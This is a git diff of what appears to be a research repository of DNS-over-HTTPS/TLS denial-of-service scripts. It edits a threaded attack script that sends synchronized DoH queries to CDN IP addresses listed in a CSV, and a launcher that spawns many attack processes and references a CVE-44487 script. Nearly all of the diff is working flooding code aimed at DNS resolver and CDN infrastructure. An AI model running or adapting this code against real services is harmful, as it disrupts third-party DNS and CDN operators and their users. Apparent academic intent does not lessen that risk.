diff --git a/6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc b/6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc new file mode 100644 index 0000000..35ea763 Binary files /dev/null and b/6_dot_DDoS/__pycache__/logger_DoE.cpython-310.pyc differ diff --git a/6_dot_DDoS/att_pending_cookie.py b/6_dot_DDoS/att_pending_cookie.py index 3071d11..1859cd5 100644 --- a/6_dot_DDoS/att_pending_cookie.py +++ b/6_dot_DDoS/att_pending_cookie.py @@ -10,7 +10,6 @@ import sys import time import requests import dns.message -import httpx import gzip import io import pandas as pd @@ -18,7 +17,6 @@ import tqdm from concurrent.futures import ThreadPoolExecutor import threading from dns.message import make_query -from logger_DoE import * def ge_cookie(): cookie = "" @@ -47,7 +45,7 @@ def send_request(event,url,t,latency,stime): body = ','.join([f'{name}: {value}' for name, value in headers.items()]) request_line = "GET /dns-query?dns=" + f"{dns_req} HTTP/1.1\r\n" conn.send(request_line.encode()) - headers0 = {'host': 'www.doeresearch.site'} + headers0 = {'host': 'doegj.lushlife.space'} headers0 = ''.join([f'{name}: {value}\r\n' for name, value in headers0.items()]) conn.send(headers0.encode()) @@ -92,7 +90,7 @@ if __name__ == '__main__': args = parser.parse_args() - path = '/root/Nora/cdn/' + path = '' #path = 'D:\Volumes\调研\项目\YYDNS\GJ\DDOS/' df = pd.read_csv(path+'fastly_att.csv',nrows=64) data = df.set_index('ip')['latency'].to_dict() @@ -112,7 +110,7 @@ if __name__ == '__main__': start_time = time.perf_counter() # while time.perf_counter() - start_time < 0.1: # pass - #print('all waiting') + print('all waiting') while time.perf_counter() - stime < wait_time: pass # 触发事件,同时释放所有线程 @@ -120,7 +118,7 @@ if __name__ == '__main__': # 等待所有线程完成 for t in threads: t.join() - #print('ATT over:',time.time() - s_time) + print('ATT over:',time.time() - s_time) #for i in tqdm.tqdm(range(1000)): #send_request("151.101.76.204",0,0,0) diff --git a/6_dot_DDoS/start_pending.py b/6_dot_DDoS/start_pending.py index aaa29a8..e17e491 100644 --- a/6_dot_DDoS/start_pending.py +++ b/6_dot_DDoS/start_pending.py @@ -5,7 +5,7 @@ import random import string import time -import dns +import dns.message from logger_DoE import * @@ -31,7 +31,7 @@ logger = InfoLogger(interval=1) logger.log_info(LogLevel.INFO, "程序开始运行") for i in range(int(args.n)): #print(f"python3 cve44487.py -s {i}") - os.popen(f"python att_pending_https.py -stime {stime} -round {round} -wait {wait_time}") + os.popen(f"python3 att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}") message = dns.message.make_query(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A") message.flags |= dns.flags.RD @@ -51,4 +51,4 @@ while True: if elapsed_time>wait_time: logger.log_info(LogLevel.INFO, "程序结束运行") logger.close() # 关闭日志记录 - break \ No newline at end of file + break diff --git a/7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc b/7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc new file mode 100644 index 0000000..b73a418 Binary files /dev/null and b/7_doh_DDoS/__pycache__/logger_DoE.cpython-310.pyc differ